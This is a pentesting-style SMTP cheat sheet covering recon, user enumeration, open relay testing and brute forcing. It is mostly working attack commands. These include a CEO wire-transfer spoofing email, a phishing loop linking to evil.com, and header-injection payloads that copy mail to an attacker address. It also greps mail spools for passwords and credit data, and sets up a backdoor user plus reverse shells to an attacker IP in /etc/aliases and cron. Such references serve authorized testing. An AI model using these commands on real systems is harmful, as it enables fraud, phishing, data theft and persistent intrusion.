SMTP (Simple Mail Transfer Protocol)

`Default Ports: 25 (SMTP), 465 (SMTPS), 587 (Submission)`

Simple Mail Transfer Protocol (SMTP) is an internet standard communication protocol for electronic mail transmission. SMTP is a text-based protocol where one or more recipients of a message are specified, and then the message text is transferred. It operates on a push model, where the sending mail server pushes messages to receiving mail servers. SMTP is crucial for email communication infrastructure and can be exploited for phishing, spam, and information disclosure.

Connect

Using Telnet

```
# Connect to SMTP server
telnet target.com 25

# Basic SMTP conversation
EHLO attacker.com
MAIL FROM:<sender@attacker.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Test message
.
QUIT
```

Using netcat

```
# Connect with netcat
nc target.com 25
```

```
# With SSL (if supported)
openssl s_client -connect target.com:465 -crlf -quiet
```

Using swaks

```
# Send test email
swaks --to victim@target.com --from sender@attacker.com --server target.com

# With authentication
swaks --to victim@target.com --from user@target.com \
  --auth-user user@target.com --auth-password password \
  --server target.com

# With attachment
swaks --to victim@target.com --from sender@attacker.com \
  --attach /path/to/file.pdf \
  --server target.com
```

Using sendemail

```
# Send email
sendemail -f sender@attacker.com -t victim@target.com \
  -u "Subject" -m "Message body" -s target.com:25

# With authentication
sendemail -f user@target.com -t victim@target.com \
  -u "Subject" -m "Message" \
  -s target.com:587 \
  -xu user@target.com -xp password
```

Recon

Service Detection with Nmap

Use Nmap to detect SMTP services and identify server capabilities.

```
nmap -p 25,465,587 target.com
```

Connect to SMTP services to gather version and service information.

Using netcat

```
# Using netcat
nc target.com 25

# Get banner with EHLO
echo "EHLO test" | nc target.com 25
```

Using telnet

```
# Using telnet
telnet target.com 25
```

Using nmap

```
# Using nmap
nmap -p 25 -sV target.com
```

MX Record Discovery

DNS MX records identify the mail servers responsible for handling email for a domain.

```
# Find mail servers for domain
dig +short MX target.com
nslookup -type=MX target.com
host -t MX target.com

# Get all MX records
dig MX target.com

# Check SPF record
dig +short TXT target.com | grep "v=spf1"
```

```
# Check DMARC record
dig +short TXT _dmarc.target.com
```

Enumeration

SMTP Server Assessment

Use specialized tools for SMTP server enumeration and vulnerability assessment.

```
# Enumerate supported SMTP commands
nmap -p 25 --script smtp-commands target.com

# Test for user enumeration via VRFY/EXPN
nmap -p 25 --script smtp-enum-users target.com

# Extract NTLM authentication details
nmap -p 25 --script smtp-ntlm-info target.com

# Run all SMTP-related scripts
nmap -p 25,465,587 --script smtp-* target.com
```

User Enumeration

Enumerate valid email addresses and usernames from SMTP servers.

Using VRFY Command

```
# Manual testing with telnet
telnet target.com 25
VRFY admin
VRFY root
VRFY user

# Using smtp-user-enum
smtp-user-enum -M VRFY -U users.txt -t target.com
```

Using EXPN Command

```
# Expand mailing list
telnet target.com 25
EXPN admin
EXPN all
EXPN staff

# Using smtp-user-enum
smtp-user-enum -M EXPN -U users.txt -t target.com
```

Using RCPT TO Command

```
# Check if user exists
telnet target.com 25
MAIL FROM:<test@example.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 User unknown = doesn't exist

# Using smtp-user-enum
smtp-user-enum -M RCPT -U users.txt -t target.com -f sender@example.com
```

Command Enumeration

Discover supported SMTP commands and capabilities.

```
# Get supported commands
telnet target.com 25
EHLO attacker.com

# Response shows:
# 250-SIZE
# 250-VRFY
# 250-ETRN
# 250-STARTTLS
# 250-AUTH PLAIN LOGIN
# 250 HELP
```

Attack Vectors

Exploit various SMTP vulnerabilities and misconfigurations for unauthorized access.

Open Relay Testing

Test SMTP servers for open relay vulnerabilities that allow unauthorized email forwarding.

```
# Test 1: External to external
telnet target.com 25
MAIL FROM:<external1@example.com>
RCPT TO:<external2@anotherdomain.com>
DATA
Test
.

# If accepts, it's an open relay

# Test 2: Using nmap
nmap -p 25 --script smtp-open-relay target.com

# Test 3: Using swaks
swaks --to external@domain.com --from external@otherdomain.com --server
target.com
```

Email Spoofing

Send emails with spoofed sender addresses to bypass authentication and appear legitimate.

```
# Spoof email from CEO
telnet target.com 25
EHLO attacker.com
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
To: employee@target.com
Subject: Urgent: Wire Transfer

Please transfer $50,000 to account XYZ immediately.
```

```
.
QUIT

# Using sendemail
sendemail -f ceo@target.com -t employee@target.com \
  -u "Urgent: Wire Transfer" \
  -m "Please transfer funds..." \
  -s target.com:25
```

SMTP Injection

Inject malicious content into SMTP communications to bypass security controls.

```
# Inject additional headers
# In forms that send email

Email: victim@target.com%0ACc:attacker@evil.com
Email: victim@target.com%0ABcc:attacker@evil.com
Email: victim@target.com%0AFrom:admin@target.com

# Inject mail body
Message: Test%0A.%0AMAIL FROM:<attacker@evil.com>%0ARCPT
TO:<victim2@target.com>%0ADATA%0APhishing email%0A.

# CRLF injection
Subject: Test%0D%0ACc:attacker@evil.com
```

Phishing Campaign

Launch targeted phishing campaigns using compromised SMTP servers.

```
# Create phishing email list
cat > targets.txt <<EOF
victim1@target.com
victim2@target.com
victim3@target.com
EOF

# Send phishing emails
while read email; do
```

```
  swaks --to $email \
    --from support@target.com \
    --server target.com \
    --header "Subject: Password Reset Required" \
    --body "Click here: http://evil.com/phishing"
done < targets.txt
```

Brute Force Attack

Brute force SMTP authentication credentials using various tools.

Using Hydra

```
# Using hydra
hydra -l user@target.com -P passwords.txt smtp://target.com:587

# With username list
hydra -L users.txt -P passwords.txt smtp://target.com:587
```

Using Metasploit

```
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS target.com
run
```

Post-Exploitation

Extract sensitive data and manipulate mail systems after successful SMTP exploitation.

Email Harvesting

Extract email addresses and sensitive information from mail servers.

```
# If you have access to mail server
```

```
# Read mail spool
cat /var/mail/username
cat /var/spool/mail/username

# Maildir format
ls -la /home/username/Maildir/cur/
cat /home/username/Maildir/cur/*

# Extract email addresses
grep -Eiorh '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' /var/mail/*
```

Mail Queue Manipulation

Manipulate mail queues to intercept or modify messages.

```
# View mail queue
mailq

# Read queued messages
postcat -q QUEUE_ID

# Flush mail queue
postfix flush

# Delete from queue
postsuper -d QUEUE_ID
postsuper -d ALL
```

Data Exfiltration

Extract sensitive data from compromised mail systems.

```
# Search for sensitive keywords
grep -r -i "password\|secret\|confidential" /var/mail/

# Extract attachments
find /var/mail/ -name "*.pdf" -o -name "*.doc" -o -name "*.xls"

# Extract financial information
grep -r -i "account\|routing\|ssn\|credit" /var/mail/
```

Persistence

Create persistent backdoor access to mail systems.

```
# Modify mail server configuration
# Add backdoor user to mail system
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd

# Modify mail aliases
echo "backdoor: |/bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'" >> /
etc/aliases
newaliases

# Create cron job for persistence
echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'" |
crontab -
```

Common SMTP Commands

Command	Description	Usage
`HELO`	Identify client	`HELO client.com`
`EHLO`	Extended HELO	`EHLO client.com`
`MAIL FROM`	Sender address	`MAIL FROM:<sender@domain.com>`
`RCPT TO`	Recipient	`RCPT TO:<recipient@domain.com>`
`DATA`	Message content	`DATA`
`VRFY`	Verify user	`VRFY admin`
`EXPN`	Expand list	`EXPN all`

Command	Description	Usage
`RSET`	Reset	`RSET`
`NOOP`	No operation	`NOOP`
`QUIT`	Close	`QUIT`

SMTP Response Codes

Code	Meaning	Description
220	Service ready	Server ready
250	OK	Command successful
354	Start input	Ready for message
421	Service not available	Server closing
450	Mailbox unavailable	Temporary failure
550	Mailbox unavailable	Permanent failure
551	User not local	Relay denied
552	Storage exceeded	Quota exceeded
553	Mailbox name invalid	Bad address

Useful Tools

Tool	Description	Primary Use Case
telnet	Terminal emulator	Manual testing
netcat	Network utility	Connection testing
swaks	SMTP test tool	Email sending
smtp-user-enum	User enumeration	Finding valid users
sendemail	Email sender	Phishing campaigns
Metasploit	Exploitation framework	Automated testing
Nmap	Network scanner	Service detection

Security Misconfigurations

- ❌ Open relay configuration
- ❌ VRFY/EXPN enabled
- ❌ No authentication required
- ❌ Weak authentication
- ❌ No SPF/DMARC records
- ❌ No TLS encryption
- ❌ Verbose error messages
- ❌ No rate limiting
- ❌ Information disclosure via NTLM
- ❌ Outdated mail server software